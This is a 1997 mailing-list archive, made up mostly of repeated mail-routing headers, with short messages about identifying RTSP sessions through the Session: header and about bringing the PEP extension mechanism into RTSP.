  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.170925.1063.476321; Fri, 23 May 1997 17:09:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185451.1063.476406; Fri, 23 May 1997 18:54:51 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29305>; Fri, 23 May 1997 14:17:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29293>; Fri, 23 May 1997 14:17:04 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02877>; Fri, 23 May 1997 14:16:54 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.171236.1063.767320; Fri, 23 May 1997 17:15:37 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.171236.1063.767320@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:15:37 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 16:05:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09149>; Fri, 23 May 1997 17:06:32 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09143>; Fri, 23 May 1997 17:06:30 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA09374>; Fri, 23 May 1997 17:06:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200100.1063.767577; Fri, 23 May 1997 20:05:05 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.200100.1063.767577@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:05:05 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
  Yaron

> -----Original Message-----
> From: Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent: Friday, May 16, 1997 4:44 PM
> To: http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject: Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165912.1063.476313; Fri, 23 May 1997 16:59:16 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id:
<11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184329.1063.476399; Fri, 23 May 1997 18:43:29 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28662>; Fri, 23 May 1997 14:04:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28648>; Fri, 23 May 1997 14:04:47 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02349>; Fri, 23 May 1997 14:04:42 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165900.1063.767278; Fri, 23 May 1997 17:03:23 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com,
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.165900.1063.767278@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:03:23 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200152.1063.476431; Fri, 23 May 1997 20:01:52 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04514>; Fri, 23 May 1997 15:49:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04508>; Fri, 23 May 1997 15:49:00 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06587>; Fri, 23 May 1997 15:48:58 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184300.1063.767477; Fri, 23 May 1997 18:47:35 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.184300.1063.767477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 18:47:35 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 16:16:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09550>; Fri, 23 May 1997 17:18:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09544>; Fri, 23 May 1997 17:18:06 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA09672>; Fri, 23 May 1997 17:18:04 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.201320.1063.767598; Fri, 23 May 1997 20:16:41 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.201320.1063.767598@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:16:41 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.170925.1063.476321; Fri, 23 May 1997 17:09:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185451.1063.476406; Fri, 23 May 1997 18:54:51 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29305>; Fri, 23 May 1997 14:17:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29293>; Fri, 23 May 1997 14:17:04 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02877>; Fri, 23 May 1997 14:16:54 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.171236.1063.767320; Fri, 23 May 1997 17:15:37 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.171236.1063.767320@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:15:37 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200909.1063.476436; Fri, 23 May 1997 20:09:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05624>; Fri, 23 May 1997 16:03:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05617>; Fri, 23 May 1997 16:03:20 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA07094>; Fri, 23 May 1997 16:03:18 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185819.1063.767501; Fri, 23 May 1997 19:01:56 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.185819.1063.767501@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 19:01:56 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 17:23:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA12151>; Fri, 23 May 1997 18:24:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA12144>; Fri, 23 May 1997 18:24:48 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA12405>; Fri, 23 May 1997 18:24:46 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.211800.1063.767653; Fri, 23 May 1997 21:23:22 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.211800.1063.767653@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 21:23:22 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
  Yaron

> -----Original Message-----
> From: Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent: Friday, May 16, 1997 4:44 PM
> To: http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject: Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165912.1063.476313; Fri, 23 May 1997 16:59:16 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id:
<11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184329.1063.476399; Fri, 23 May 1997 18:43:29 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28662>; Fri, 23 May 1997 14:04:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28648>; Fri, 23 May 1997 14:04:47 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02349>; Fri, 23 May 1997 14:04:42 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165900.1063.767278; Fri, 23 May 1997 17:03:23 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com,
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.165900.1063.767278@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:03:23 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200152.1063.476431; Fri, 23 May 1997 20:01:52 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04514>; Fri, 23 May 1997 15:49:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04508>; Fri, 23 May 1997 15:49:00 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06587>; Fri, 23 May 1997 15:48:58 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184300.1063.767477; Fri, 23 May 1997 18:47:35 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.184300.1063.767477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 18:47:35 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.211846.1063.476457; Fri, 23 May 1997 21:18:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09149>; Fri, 23 May 1997 17:06:32 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09143>; Fri, 23 May 1997 17:06:30 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA09374>; Fri, 23 May 1997 17:06:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200100.1063.767577; Fri, 23 May 1997 20:05:05 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.200100.1063.767577@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:05:05 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 17:39:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA12539>; Fri, 23 May 1997 18:40:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA12533>; Fri, 23 May 1997 18:40:34 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA12835>; Fri, 23 May 1997 18:40:31 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.213400.1063.767670; Fri, 23 May 1997 21:39:08 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.213400.1063.767670@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 21:39:08 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
